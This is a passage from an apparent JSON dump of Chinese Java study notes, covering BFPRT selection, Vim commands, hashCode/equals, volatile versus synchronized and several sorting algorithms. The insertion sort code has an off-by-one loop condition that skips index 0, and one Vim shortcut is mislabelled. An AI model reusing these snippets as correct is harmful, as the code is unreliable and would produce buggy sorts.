对于上面一步中找出的`n/5`个中位数，递归进行步骤`（1）`和`（2）`，直到只剩下一个数即为这`n/5`个元素的中位数，找到中位数后并找到对应的下标`p`。\n- 进行`Partion`划分过程，`Partion`划分中的`pivot`元素下标为`p`。\n- 进行高低区判断即可。\n\n下面为代码实现，其所求为前`K`小的数:    \n\n```java\npublic class BFPRT {\n    /**\n     * 返回前K小的数\n     *\n     * @param arr\n     * @param k\n     * @return\n     */\n    public static int[] getMinKNumsByBFPRT(int[] arr, int k) {\n        if (k < 1 || k > arr.length) {\n            return arr;\n        }\n        int minKth = getMinKthByBFPRT(arr, k);\n        int[] res = new int[k];\n        int index = 0;\n        for (int i = 0; i != arr.length; i++) {\n            if (arr[i] < minKth) {\n                res[index++] = arr[i];\n            }\n        }\n        for (; index != res.length; index++) {\n            res[index] = minKth;\n        }\n        return res;\n    }\n\n    /**\n     * 返回数组中第K小的数\n     *\n     * @param arr\n     * @param K\n     * @return\n     */\n    public static int getMinKthByBFPRT(int[] arr, int K) {\n        int[] copyArr = copyArray(arr);\n        return select(copyArr, 0, copyArr.length - 1, K - 1);\n    }\n\n    public static int[] copyArray(int[] arr) {\n        int[] res = new int[arr.length];\n        for (int i = 0; i != res.length; i++) {\n            res[i] = arr[i];\n        }\n        return res;\n    }\n\n    /**\n     * 在数组上给一个 end - begin 的范围,在这个范围上,返回位于第 i 位置上的数\n     *\n     * @param arr\n     * @param begin\n     * @param end\n     * @param i\n     * @return\n     */\n    public static int select(int[] arr, int begin, int end, int i) {\n        if (begin == end) {\n            return arr[begin];\n        }\n        int pivot = medianOfMedians(arr, begin, end);\n        int[] pivotRange = partition(arr, begin, end, pivot);\n        if (i >= pivotRange[0] && i <= pivotRange[1]) {\n            return arr[i];\n        } else if (i < pivotRange[0]) {\n            return select(arr, begin, pivotRange[0] - 1, i);\n        } else if (i > pivotRange[1]) {\n            return select(arr, pivotRange[1] + 1, end, i);\n        }\n\n        return 0;\n    }\n\n    /**\n     * 求一个范围内的划分值\n     *\n     * @param arr\n     * @param begin\n     * @param end\n     * @return\n     */\n    public static int medianOfMedians(int[] arr, int begin, int end) {\n        int num = end - begin + 1;\n        int offset = num % 5 == 0 ? 0 : 1;\n        int[] mArr = new int[num / 5 + offset]; //所有中位数组成的数组\n        for (int i = 0; i < mArr.length; i++) {\n            int beginI = begin + i * 5;\n            int endI = beginI + 4;\n            mArr[i] = getMedian(arr, beginI, Math.min(endI, end));\n        }\n        return select(mArr, 0, mArr.length - 1, mArr.length / 2);\n    }\n\n    /**\n     * @param arr\n     * @param begin\n     * @param end\n     * @param pivotValue 基准值\n     * @return 返回等于区 最左边的位置 和 最右的位置\n     */\n    public static int[] partition(int[] arr, int begin, int end, int pivotValue) {\n        int small = begin - 1;\n        int big = end + 1;\n        int i = begin;\n        while (i < big) {\n            if (arr[i] < pivotValue) {\n                small++;\n                swap(arr, small, i);\n                i++;\n            } else if (arr[i] > pivotValue) {\n                big--;\n                swap(arr, i, big);\n            } else {\n                i++;\n            }\n        }\n        return new int[]{small + 1, big - 1};\n    }\n\n    /**\n     * 获取上中位数\n     * eg 9 10 11 12  取10\n     * eg 1 2 3 4 5 取3\n     *\n     * @param arr\n     * @param begin\n     * @param end\n     * @return\n     */\n    public static int getMedian(int[] arr, int begin, int end) {\n        insertionSort(arr, begin, end);\n        return arr[(end - begin) / 2 + begin];\n    }\n\n    /**\n     * 插入排序\n     *\n     * @param arr\n     * @param begin\n     * @param end\n     */\n    public static void insertionSort(int[] arr, int begin, int end) {\n        for (int i = begin + 1; i != end + 1; i++) {\n            for (int j = i; j != begin; j--) {\n                if (arr[j - 1] > arr[j]) {\n                    swap(arr, j - 1, j);\n                } else {\n                    break;\n                }\n            }\n        }\n    }\n\n    public static void swap(int[] arr, int index1, int index2) {\n        int tmp = arr[index1];\n        arr[index1] = arr[index2];\n        arr[index2] = tmp;\n    }\n\n    public static void printArray(int[] arr) {\n        System.out.print(\"前10小的数: \");\n        for (int i = 0; i != arr.length; i++) {\n            System.out.print(arr[i] + \" \");\n        }\n        System.out.println();\n    }\n\n    public static void main(String[] args) {\n        int[] arr = {6, 9, 1, 3, 1, 2, 2, 5, 6, 1, 3, 5, 9, 7, 2, 5, 6, 1, 9};\n        printArray(getMinKNumsByBFPRT(arr, 10));\n        System.out.println(\"第10小的数: \" + getMinKthByBFPRT(arr, 10));\n    }\n}\n```\n\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/Vim使用教程.md",
    "content": "Vim使用教程\n===\n\n`Better, Stronger, Faster`\n\n首先`Vim`有两种模式: \n\n- `Normal`            \n    该模式下不能写入，修改要在该模式进行。在`Insert`模式中可以使用`ESC`键来返回到`Normal`模式。\n- `Insert`      \n    该模式下可以进行写入。在`Normal`模式下使用按`i`键进行`Insert`模式。\n\t\n下面说一下`Normal`状态下的一些命令，所有的命令都要在`Normal`状态下执行：\n\n进入`Insert`模式\n---\n\n- `i` 进入`insert`模式\n- `a` 在光标后进行插入，直接进入`Insert`模式\n- `o` 在当前行后插入一个新行，直接进入`Insert`模式\n- `cw` 替换从光标位置开始到该单词结束位置的所有字符，直接进入`Insert`模式\n\n\n移动光标\n---\n\n- `h` 左移\n- `j` 移到下一行\n- `k` 移到上一行\n- `l` 右移\n- `gg` 移动到文章的开头\n- `G` 移动到当前文章的最后。\n\n- `$` $光标移动当前行尾\n- `0` 数字0光标移动当前行首\n\n- `e` 移动到单词结束位置\n- `b` 移动到单词开始位置\n- `:59` 移动到59行\n- `#l` 移动光标到改行第#个字的位置，如`5l`\n- `ctrl+g` 列出当前光标所在行的行号等信息\n- `: #` 如输入: 15会跳到文章的第15行\n- `ctrl + d`向下翻页\n- `ctrl + u`向上翻页\n\n删除文字\n---\n\n- `x` 删除光标所在位置的一个字符\n- `#x` 删除光标所在位置后的#个字符，如`6x`就是删除后面的6个字符。\n- `X` 大写的X为删除光标所在位置前的一个字符\n- `#X` 删除光标所在位置前的#个字符\n- `dd` 删除当前行，并把删除的行存到剪贴板中\n- `#dd` 从光标所在行开始删除#行。如`5dd`就是删除5行\n\n复制粘贴\n---\n\n- `yy` 拷贝当前行\n- `#yy` 拷贝当前所在行往下的#行文字\n- `yw` 复制当前光标所在位置到字尾处的位置\n- `#yw` 复制当前光标所在位置往后#个字\n- `y$` 拷贝光标至本行结束位置\n- `y` 拷贝选中部分，在`Normal`模式下按`v`会进入到可视化模式，这时候可以上下移动进行选中某一部分，然后按`y`就可以复制了。\n\n- `p` 粘贴\n\n\n替换\n---\n\n- `r` 替换光标所在处的字符\n- `R` 替换光标所到之处的字符，直到按下`esc`键为止\n- `:%s/old/new/g` 用`new`替换文件中所有的`old`\n\n撤销\n---\n\n- `u` 撤销、回退\n- `ctrl + r` 恢复刚才的撤销操作\n\n搜索\n---\n\n- `/关键字` 先按`/`键，再输入您想寻找的字符，如果第一次找的关键字不是您想要的，可以一直按`n`会往后寻找到您要的关键字为止。\n\n- `?关键字` 同上，只不过`?`是往上查找\n\n缩进缩出\n---\n\n- `>>` 当前行缩进\n- `#>>` 当前光标下n行缩进\n- `<<` 当前行缩出\n- `>>` 当前光标下n行缩出\n\n- `: set nu` 会在文件每一行前面显示行号\n- `:wq` 保存并退出\n- `:w` 保存\n- `:q!` 退出不保存\n- `:saveas <pat>` 另存为\n- `:e filename` 打开文件\n- `:sav filename` 保存为某文件名\n\n\n\n\n\n\n\n\t\t\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/hashCode与equals.md",
    "content": "hashCode与equals\n===\n\n`HashSet`和`HashMap`一直都是`JDK`中最常用的两个类，`HashSet`要求不能存储相同的对象，`HashMap`要求不能存储相同的键。 那么`Java`运行时环境是如何判断`HashSet`\n中相同对象、`HashMap`中相同键的呢？当存储了相同的东西之后`Java`运行时环境又将如何来维护呢？             \n在研究这个问题之前，首先说明一下`JDK`对`equals(Object obj)`和`hashcode()`这两个方法的定义和规范:在`Java`中任何一个对象都具备`equals(Object obj)`\n和`hashcode()`这两个方法，因为他们是在`Object`类中定义的。`equals(Object obj)`方法用来判断两个对象是否“相同”，如果“相同”则返回`true`，否则返回`false`。 \n`hashcode()`方法返回一个`int`数，在`Object`类中的默认实现是“将该对象的内部地址转换成一个整数返回”。           \n\n接下来有两个个关于这两个方法的重要规范:    \n- 若重写`equals(Object obj)`方法，有必要重写`hashcode()`方法，确保通过`equals(Object obj)`方法判断结果为`true`的两个对象具备相等的`hashcode()`返回值。\n    说得简单点就是:  如果两个对象相同，那么他们的hashcode应该相等。不过请注意：这个只是规范，如果你非要写一个类让`equals(Object obj)`返回`true`\n\t而`hashcode()`返回两个不相等的值，编译和运行都是不会报错的。不过这样违反了`Java`规范，程序也就埋下了`BUG`。 \n- `如果equals(Object obj)`返回`false`，即两个对象“不相同”，并不要求对这两个对象调用`hashcode()`方法得到两个不相同的数。\n    说的简单点就是：“如果两个对象不相同，他们的`hashcode`可能相同”。 \n- 如果两个对象相同，那么它们的`hashCode`值一定要相同；\n- 如果两个对象的`hashCode`相同，它们并不一定相同\n上面说的对象相同指的是用`eqauls`方法比较。    \n你当然可以不按要求去做了，但你会发现，相同的对象可以出现在`Set`集合中。同时，增加新元素的效率会大大下降。\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/volatile和Synchronized区别.md",
    "content": "volatile和Synchronized区别\n===\n\n- volatile\n    作用：使变量在多个线程间可见（可见性）\n    `Java`语言规范中指出：为了获得最佳速度，允许线程保存共享成员变量的私有拷贝，而在这个过程中,变量的新值对其他线程是不可见的.而且只当线程进入或者离开同步代码块时才与共享成员变量\n的原始值对比。这样当多个线程同时与某个对象交互时，就必须要注意到要让线程及时的得到共享成员变量的变化。\n\n也就是说每个线程都有一个自己的本地内存空间，在线程执行时，先把变量从主内存读取到线程自己的本地内存空间，然后再对该变量进行操作，当对该变量操作完后，在某个时间再把变量刷新回主内存\n\n而`volatile`关键字就是提示`JVM`：对于这个成员变量不能保存它的私有拷贝，而应直接与共享成员变量交互。\n使用建议：在两个或者更多的线程访问的成员变量上使用`volatile`。当要访问的变量已在`synchronized`代码块中，或者为常量时，不必使用。\n由于使用`volatile`屏蔽掉了`JVM`中必要的代码优化，所以在效率上比较低，因此一定在必要时才使用此关键字。 就跟`C`中的一样 禁止编译器进行优化.\n\n注意:如果给一个变量加上`volatile`修饰符，就相当于：每一个线程中一旦这个值发生了变化就马上刷新回主存，使得各个线程取出的值相同。编译器不要对这个变量的读、写操作做优化。但是值得注意的是，除了对`long`和`double`的简单操作之外，`volatile`并不能提供原子性。\n所以，就算你将一个变量修饰为`volatile`，但是对这个变量的操作并不是原子的，在并发环境下，还是不能避免错误的发生！\n\n- synchronized\n    `synchronized`为一段操作或内存进行加锁，它具有互斥性。当线程要操作被`synchronized`修饰的内存或操作时，必须首先获得锁才能进行后续操作；但是在同一时刻只能有一个线程获得相同的一把锁（对象监视器），所以它只允许一个线程进行操作。\n    它用来修饰一个方法或者一个代码块的时候，能够保证在同一时刻最多只有一个线程执行该段代码。\n    - 当两个并发线程访问同一个对象中的这个`synchronized(this)`同步代码块时，一个时间内只能有一个线程得到执行。另一个线程必须等待当前线程执行完这个代码块以后才能执行该代码块。\n    - 然而，当一个线程访问`object`的一个`synchronized(this)`同步代码块时，另一个线程仍然可以访问该`object`中的非`synchronized(this)`同步代码块。\n    - 尤其关键的是，当一个线程访问`object`的一个`synchronized(this)`同步代码块时，其他线程对`object`中所有其它`synchronized(this)`同步代码块的访问将被阻塞。\n\n- 区别：\n    - `volatile`是变量修饰符，而`synchronized`则作用于一段代码或方法。\n    - `volatile`只是在线程内存和“主”内存间同步某个变量的值；而`synchronized`通过锁定和解锁某个监视器同步所有变量的值。显然`synchronized`要比`volatile`消耗更多资源。 \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/八种排序算法.md",
    "content": "八种排序算法\n===\n\n\n直接插入排序(Straight Insertion Sorting)\n---\n\n基本思想:在要排序的一组数中，假设前面`(n-1)[n>=2]`个数已经是排好顺序的，现在要把第`n`个数插到前面的有序数中，使得这`n`个数也是排好顺序的。如此反复循环，直到全部排好顺序。        \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/straight_insertion_sorting.png?raw=true)       \n\n总体分析:          \n\n- 用第二个数和第一个数比较大小，大的放到右边。      \n- 用第三个数分别和第二个数还有第一个数比较，并把大的放到右边。      \n- 用第四个数分别和第一个第三个第二个第一个数比较，并把大的放到右边。     \n- ...\n    \n\n所以这里肯定要用到嵌套`for`循环。 \n\n```java\n    public void insertSort(int[] arr) {\n\tint len = arr.length;\n\t//要插入的数\n\tint insertNum;\n\t//因为第一次不用，所以从1开始\n\tfor (int i = 1; i < len; i++) {\n\t\tinsertNum = arr[i];\n\t\t//序列元素个数\n\t\tint j = i - 1;\n\t\t//从后往前循环，将大于insertNum的数向后移动\n\t\twhile (j > 0 && arr[j] > insertNum) {\n\t\t\t//元素向后移动\n\t\t\tarr[j + 1] = arr[j];\n\t\t\tj--;\n\t\t}\n\t\t//找到位置，插入当前元素\n\t\tarr[j + 1] = insertNum;\n\t}\n}\n```\n\n希尔排序\n---\n\n针对直接插入排序的下效率问题，有人对次进行了改进与升级，这就是现在的希尔排序。希尔排序，也称递减增量排序算法，\n是插入排序的一种更高效的改进版本。希尔排序是非稳定排序算法。        \n希尔排序是`1959`年由`D.L.Shell`提出来的，相对直接插入排序有较大的改进。希尔排序的实质就是分组插入排序，该方法又称缩小增量排序。\n\n基本思想：先将整个待排元素序列分割成若干个子序列（由相隔某个“增量”的元素组成的）分别进行直接插入排序，\n然后依次缩减增量再进行排序，待整个序列中的元素基本有序（增量足够小）时，再对全体元素进行一次直接插入排序。\n因为直接插入排序在元素基本有序的情况下(接近最好情况),效率是很高的.\n因此希尔排序在时间效率上比前两种方法有较大提高。步长的选择是希尔排序的重要部分。\n只要最终步长为1任何步长序列都可以工作。\n\n\n希尔排序是基于插入排序的以下两点性质而提出改进方法的:  \n\n- 插入排序在对几乎已经排好序的数据操作时， 效率高， 即可以达到线性排序的效率\n- 但插入排序一般来说是低效的， 因为插入排序每次只能将数据移动一位    \n\n对于直接插入排序问题，数据量巨大时。\n将数的个数设为n，取奇数k=n/2，将下标差值为k的数分为一组，构成有序序列。\n再取k=k/2 ，将下标差值为k的书分为一组，构成有序序列。\n重复第二步，直到k=1执行简单插入排序。 \n\n\n算法最开始以一定的步长进行排序,然后会继续以一定步长进行排序，最终算法以步长为1进行排序。\n当步长为1时，算法变为插入排序，这就保证了数据一定会被排序。\n`Donald Shell`最初建议步长选择为\\frac{n}{2}并且对步长取半直到步长达到 1。\n虽然这样取可以比\\mathcal{O}(n^2)类的算法（插入排序）更好，但这样仍然有减少平均时间和最差时间的余地。\n\n```\n希尔排序示例:n=10的一个数组 58 27 32 93 65 87 58 46 9 65，步长为n/2。\n\n第一次排序 步长为 10/2 = 5\n\n   58  27  32  93  65  87  58  46  9  65 \n   1A                  1B\n       2A                  2B\n           3A                  3B\n                4A                 4B\n                    5A                5B\n\n\n首先将待排序元素序列分组，以5为步长，(1A,1B),(2A,2B),(3A,3B)等为分组标记，大写字母表示是该组的第几个元素,\n数字相同的表示在同一组，这样就分成5组，即(58,87),(27,58),(32,46),(93,9),(65,65)，\n然后分别对各分组进行直接插入排序，排序后5组为(58,87),(27,58),(32,46),(9,93),(65,65)，\n分组排序只是变得各个分组内的下表，下同。\n\n第二次排序 步长为 5/2 = 2\n\n58  27  32  9  65  87  58  46  93  65\n\n1A      1B      1C      1D      1E\n\n    2A      2B      2C      2D        2E\n\n第三次排序 步长为 2/2 = 1\n\n32  9  58  27  58  46  65  65  93  87\n\n1A  1B  1C  1D  1E  1F  1G  1H  1I  1J\n\n第四次排序 步长为 1/2 = 0 得到有序元素序列\n\n9  27  32  46  58  58  65  65  87  93\n\n```\n\n    \n```java\n    public void shellSort(int[] arr) {\n    int len = arr.length;\n    while (len != 0) {\n        len = len / 2;\n        //分组\n        for (int i = 0; i < len; i++) {\n            //元素从第二个开始\n            for (int j = i + len; j < arr.length; j += len) {\n                //k为有序序列最后一位的位数\n                int k = j - len;\n                //要插入的元素\n                int temp = arr[j];\n                //从后往前遍历\n                while (k >= 0 && temp < arr[k]) {\n                    arr[k + len] = arr[k];\n                    //向后移动len位\n                    k -= len;\n                }\n                arr[k + len] = temp;\n            }\n        }\n    }\n}\n```\n\n\n简单选择排序\n---\n\n基本思想：在要排序的一组数中，选出最小的一个数与第一个位置的数交换；\n然后在剩下的数当中再找最小的与第二个位置的数交换，如此循环到倒数第二个数和最后一个数比较为止。     \n\n思路:       \n\n- 第一次用第一个数字去和后面的每个数字比较，将小的放到第一个位置，这样完成这一轮之后，第一个数就是最小的数。\n- 第二次用第二个数字去和后面的每个数字比较，将晓得放到第二个位置，这样完成这一轮之后，第二个数就是最第二小的数。 \n- ...\n\n\n```java\npublic void selectSort(int[] arr) {\n        int len = arr.length;\n        for (int i = 0; i < len; i++) {\n            int value = arr[i];\n            int position = i;\n            //找到最小的值和位置\n            for (int j = i + 1; j < len; j++) {\n                if (arr[j] < value) {\n                    value = arr[j];\n                    position = j;\n                }\n            }\n            //进行交换\n            arr[position] = arr[i];\n            arr[i] = value;\n        }\n    }\n```\n\n\n堆排序\n---\n\n对简单选择排序的优化。\n基本思想:堆排序是一种树形选择排序，是对直接选择排序的有效改进。\n\n堆`(heap)`，这里所说的堆是数据结构中的堆，而不是内存模型中的堆。\n\n堆数据结构是一种特殊的二叉树，在这棵树中，所有父节点都满足大于等于其子节点的堆叫大根堆，所有父节点都满足小于等于其子节点的堆叫小根堆。堆虽然是一颗树，但是通常存放在一个数组中，父节点和孩子节点的父子关系通过数组下标来确定。如下图的小根堆及存储它的数组： \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/heap_1.png?raw=true)    \n\n堆的介绍:   \n\n- 堆是完全二叉树\n- 常常用数组实现\n- 每一个节点的关键字都大于（等于）这个节点的子节点的关键字\n\n由堆的定义可以看出，堆顶元素（即第一个元素）必为最大项（大顶堆）。完全二叉树可以很直观地表示堆的结构。堆顶为根，其它为左子树、右子树。\n初始时把要排序的数的序列看作是一棵顺序存储的二叉树，调整它们的存储序，使之成为一个堆，这时堆的根节点的数最大。然后将根节点与堆的最后一个节点交换。\n然后对前面(n-1)个数重新调整使之成为堆。依此类推，直到只有两个节点的堆，并对它们作交换，最后得到有n个节点的有序序列。\n从算法描述来看，堆排序需要两个过程，一是建立堆，二是堆顶与堆的最后一个元素交换位置。所以堆排序有两个函数组成。一是建堆的渗透函数，二是反复调用渗透函数实现排序的函数。\n\n\n步骤:   \n\n- 将序列构建成大顶堆。\n- 将根节点与最后一个节点交换，然后断开最后一个节点。\n- 重复第一、二步，直到所有节点断开。\n\n```java\npublic void heapSort(int[] arr) {\n        int len = arr.length;\n        //循环建堆\n        for (int i = 0; i < len - 1; i++) {\n            //建堆\n            buildMaxHeap(arr, len - 1 - i);\n            //交换堆顶和最后一个元素\n            swap(arr, 0, len - 1 - i);\n        }\n    }\n\n    //交换方法\n    private void swap(int[] data, int i, int j) {\n        int tmp = data[i];\n        data[i] = data[j];\n        data[j] = tmp;\n    }\n\n    //对data数组从0到lastIndex建大顶堆\n    private void buildMaxHeap(int[] data, int lastIndex) {\n        //从lastIndex处节点（最后一个节点）的父节点开始\n        for (int i = (lastIndex - 1) / 2; i >= 0; i--) {\n            //k保存正在判断的节点\n            int k = i;\n            //如果当前k节点的子节点存在\n            while (k * 2 + 1 <= lastIndex) {\n                //k节点的左子节点的索引\n                int biggerIndex = 2 * k + 1;\n                //如果biggerIndex小于lastIndex，即biggerIndex+1代表的k节点的右子节点存在\n                if (biggerIndex < lastIndex) {\n                    //若果右子节点的值较大\n                    if (data[biggerIndex] < data[biggerIndex + 1]) {\n                        //biggerIndex总是记录较大子节点的索引\n                        biggerIndex++;\n                    }\n                }\n                //如果k节点的值小于其较大的子节点的值\n                if (data[k] < data[biggerIndex]) {\n                    //交换他们\n                    swap(data, k, biggerIndex);\n                    //将biggerIndex赋予k，开始while循环的下一次循环，重新保证k节点的值大于其左右子节点的值\n                    k = biggerIndex;\n                } else {\n                    break;\n                }\n            }\n        }\n    }\n\n```\n\n\n冒泡排序    \n---\n\n步骤:     \n\n- 将序列中所有元素两两比较，将最大的放在最后面。\n- 将剩余序列中所有元素两两比较，将最大的放在最后面。\n- 重复第二步，直到只剩下一个数。\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/bublle_sort.png?raw=true)       \n\n\n```java\npublic void bubbleSort(int[] arr) {\n        int len = arr.length;\n        for (int i = 0; i < len; i++) {\n            for (int j = 0; j < len - i - 1; j++) {\n                if (arr[j] > arr[j + 1]) {\n                    int temp = arr[j];\n                    arr[j] = arr[j + 1];\n                    arr[j + 1] = temp;\n                }\n            }\n        }\n    }\n```\n\n\n快速排序\n---\n\n基本思想:找出一个元素（理论上可以随便找一个）作为基准`(pivot)`,然后对数组进行分区操作,\n使基准左边元素的值都不大于基准值,基准右边的元素值 都不小于基准值，如此作为基准的元素调整到排序后的正确位置。\n递归快速排序，将其他`n-1`个元素也调整到排序后的正确位置。最后每个元素都是在排序后的正 确位置，排序完成。\n所以快速排序算法的核心算法是分区操作，即如何调整基准的位置以及调整返回基准的最终位置以便分治递归。\n\n### 选择基准元\n\n1. 固定基准元      \n    如果输入序列是随机的，处理时间是可以接受的。如果数组已经有序时，此时的分割就是一个非常不好的分割。因为每次划分只能使待排序序列减一，此时为最坏情况，快速排序沦为冒泡排序，时间复杂度为Θ(n^2)。而且，输入的数据是有序或部分有序的情况是相当常见的。因此，使用第一个元素作为基准元是非常糟糕的，应该立即放弃这种想法。 \n2. 随机基准元      \n    这是一种相对安全的策略。由于基准元的位置是随机的，那么产生的分割也不会总是会出现劣质的分割。在整个数组数字全相等时，仍然是最坏情况，时间复杂度是O(n^2）。实际上，随机化快速排序得到理论最坏情况的可能性仅为1/(2^n）。所以随机化快速排序可以对于绝大多数输入数据达到O（n×log(n))的期望时间复杂度。\n3. 三数取中     \n    最佳的划分是将待排序的序列分成等长的子序列，最佳的状态我们可以使用序列的中间的值，也就是第N/2个数。可是，这很难算出来，并且会明显减慢快速排序的速度。这样的中值的估计可以通过随机选取三个元素并用它们的中值作为基准元而得到。事实上，随机性并没有多大的帮助，因此一般的做法是使用左端、右端和中心位置上的三个元素的中值作为基准元。\n\n\n算法原理:单单看以上解释还是有些模糊，可以通过实例来理解它。\n下面通过一组数据来进行排序过程的解:   \n\n原数组：{3，7，2，9，1，4，6，8，10，5}\n\n花了点时间撸了下面这张快速排序示意图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/quick_sort.png?raw=true)       \n\n\n### partition算法\n\n`partition`算法是快速排序的核心，在学习快排之前，可以先学习一下这个算法。下面先贴代码:   \n\n```java\npublic int partition(int[] num, int left, int right) {\n    if (num == null || num.length <= 0 || left < 0 || right >= num.length) {\n        return 0;\n    }\n    //获取数组中间元素的下标\n    int prio = num[left + (right - left) / 2];\n    //从两端交替向中间扫描\n    while (left <= right) {\n        while (num[left] < prio)\n            left++;\n        while (num[right] > prio)\n            right--;\n        if (left <= right) {\n            //最终将基准数归位\n            swap(num, left, right);\n            left++;\n            right--;\n        }\n    }\n    return left;\n}\n```\n\n这个方法的思路是先找一个枢纽元（这个方法实现里面找的是第一个元素，具体其实大有文章不过这里先简化描述），\n再从数组的两边（具体从哪里到哪里由传进来额参数决定）生成两个指针`left`和`right`，\n每次发现左边的元素大于枢纽元则i停下来，右边的元素小于枢纽元j就停下来，并且交换这个两个数的位置。\n直到两个指针`left`，`right`相遇。再把枢纽元插入`left`的位置，也就是它应该在的位置。\n\n这么做最后的结果是让数组的`[left，right]`部分呈现出2部分，枢纽元最终位置以左都是小于等于枢纽元的，以右都是大于等于枢纽元的。而枢纽元则被插入到了一个绝对正确的位置。\n\n```java\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.activity_main);\n\n    int[] data = new int[]{26, 53, 67, 48, 57, 13, 48, 32, 60, 50};\n    quickSort(data,0,data.length-1);\n}\n\nvoid quickSort(int arr[], int left, int right) {\n    if (left < right) {\n        //算出枢轴值\n        int index = partition(arr, left, right);\n        //对低子表递归排序\n        quickSort(arr, left, index - 1);\n        //对高子表递归排序\n        quickSort(arr, index + 1, right);\n    }\n\n    for (int i = 0; i < arr.length; i++) {\n        Log.e(\"@@@\", \"\" + arr[i]);\n    }\n}\n\npublic int partition(int[] num, int left, int right) {\n    if (num == null || num.length <= 0 || left < 0 || right >= num.length) {\n        return 0;\n    }\n    int prio = num[left + (right - left) / 2];   //获取数组中间元素的下标\n    while (left <= right) {                 //从两端交替向中间扫描\n        while (num[left] < prio)\n            left++;\n        while (num[right] > prio)\n            right--;\n        if (left <= right) {\n            swap(num, left, right);        //最终将基准数归位\n            left++;\n            right--;\n        }\n    }\n    return left;\n}\n\n\npublic void swap(int[] num, int left, int right) {\n    int temp = num[left];\n    num[left] = num[right];\n    num[right] = temp;\n}\n```\n\n归并排序\n---\n\n速度仅次于快速排序，内存少的时候使用，可以进行并行计算的时候使用。\n归并（`Merge`）排序法是将两个（或两个以上）有序表合并成一个新的有序表，即把待排序序列分为若干个子序列，\n每个子序列是有序的。然后再把有序子序列合并为整体有序序列。\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/merge_sort.png?raw=true)      \n\n\n```java\n{\n    int[] data = new int[]{26, 53, 67, 48, 57, 13, 48, 32, 60, 50};\n    data = mergeSort(data, 0, data.length - 1);\n    for (int i = 0; i < data.length; i++) {\n        Log.e(\"@@@\", \"\" + data[i]);\n    }\n}\n\npublic static int[] mergeSort(int[] a, int low, int high) {\n    int mid = (low + high) / 2;\n    if (low < high) {\n        mergeSort(a, low, mid);\n        mergeSort(a, mid + 1, high);\n        //左右归并\n        merge(a, low, mid, high);\n    }\n    return a;\n}\n\npublic static void merge(int[] a, int low, int mid, int high) {\n    int[] temp = new int[high - low + 1];\n    int i = low;\n    int j = mid + 1;\n    int k = 0;\n    // 把较小的数先移到新数组中\n    while (i <= mid && j <= high) {\n        if (a[i] < a[j]) {\n            temp[k++] = a[i++];\n        } else {\n            temp[k++] = a[j++];\n        }\n    }\n    // 把左边剩余的数移入数组\n    while (i <= mid) {\n        temp[k++] = a[i++];\n    }\n    // 把右边边剩余的数移入数组\n    while (j <= high) {\n        temp[k++] = a[j++];\n    }\n    // 把新数组中的数覆盖nums数组\n    for (int x = 0; x < temp.length; x++) {\n        a[x + low] = temp[x];\n    }\n}\n```\n\n基数排序\n---\n\n基数排序`(radix sort)`又称桶排序`(bucket sort)`，相对于常见的比较排序，基数排序是一种分配式排序，\n即通过将所有数字分配到应在的位置最后再覆盖到原数组完成排序的过程\n\n\n用于大量数，很长的数进行排序时。\n\n基本思想：将所有待比较数值（正整数）统一为同样的数位长度，数位较短的数前面补零。然后，从最低位开始，\n依次进行一次排序。这样从最低位排序一直到最高位排序完成以后,数列就变成一个有序序列。      \n\n我们回想一下我们小时候是怎么学习比较数字大小的？我们是先比位数，如果一个位数比另一个位数多，\n那这个数肯定更大。如果位数同样多，就按位数递减依次往下进行比较，哪个数在这一位上更大那就停止比较，\n得出这个在这个位上数更大的数字整体更大的结论。当然我们也可以从最小的位开始比较，\n这其实就对应了基数排序里的`MSD(most significant digital)和LSD(least significant digital)`两种排序方式。\n\n想清楚了这一点之后，我们就要考虑如何存储每一位排序结果的问题了，首先既然作为分配式排序，联想计数排序，\n每一位排序时存储该次排序结果的数据结构应该至少是一个长度为10的数组（对应十进制该位0-9的数字）。\n同时可能存在以下情况：原数组中所有元素在该位上的数字都相同，那一维数组就没法满足我们的需要了，\n我们需要一个`10*n`(`n`为数组长度)的二维数组来存储每次位排序结果。\n\n熟悉计数排序结果的读者可能会好奇：为什么不能像计数排序一样，在每个位置只存储出现该数字的次数，\n而不存储具体的值，这样不就可以用一维数组了？这个我们不妨先思考一下，在对基数排序分析完之后再来看这个问题。\n现在我们可以存储每次位排序的结果了，为了在下一位排序前用到这一位排序的结果，\n我们要将桶里排序的结果还原到原数组中去，然后继续对更改后的原数组执行前一步的位排序操作，如此循环，\n最后的结果就是数组内元素先按最高位排序，最高位相同的依次按下一位排序，依次递推。得到排序的结果数组。\n\n\n初始化：构造一个`10*n`的二维数组，一个长度为n的数组用于存储每次位排序时每个桶子里有多少个元素。\n循环操作：从低位开始（我们采用`LSD`的方式），将所有元素对应该位的数字存到相应的桶子里去（对应二维数组的那一列）。\n然后将所有桶子里的元素按照桶子标号从小到大取出，对于同一个桶子里的元素，先放进去的先取出，\n后放进去的后取出（保证排序稳定性）。这样原数组就按该位排序完毕了，继续下一位操作，直到最高位排序完成。\n\n下面给出一个实例帮助理解:   \n我们现有一个数组：73, 22, 93, 43, 55, 14, 28, 65, 39, 81\n下面是排序过程（二维数组里每一列对应一个桶，因为桶空间没用完，因此没有将二维数组画全）:   \n\n- 按个位排序\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/radix_sort_1.png?raw=true)      \n\n按第一位排序后数组结果:      \n81,22,73,93,43,14,55,65,28,39\n可以看到数组已经按个位排序了。\n\n- 根据个位排序结果按百位排序\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/radix_sort_2.png?raw=true)      \n\n\n取出排序结果:   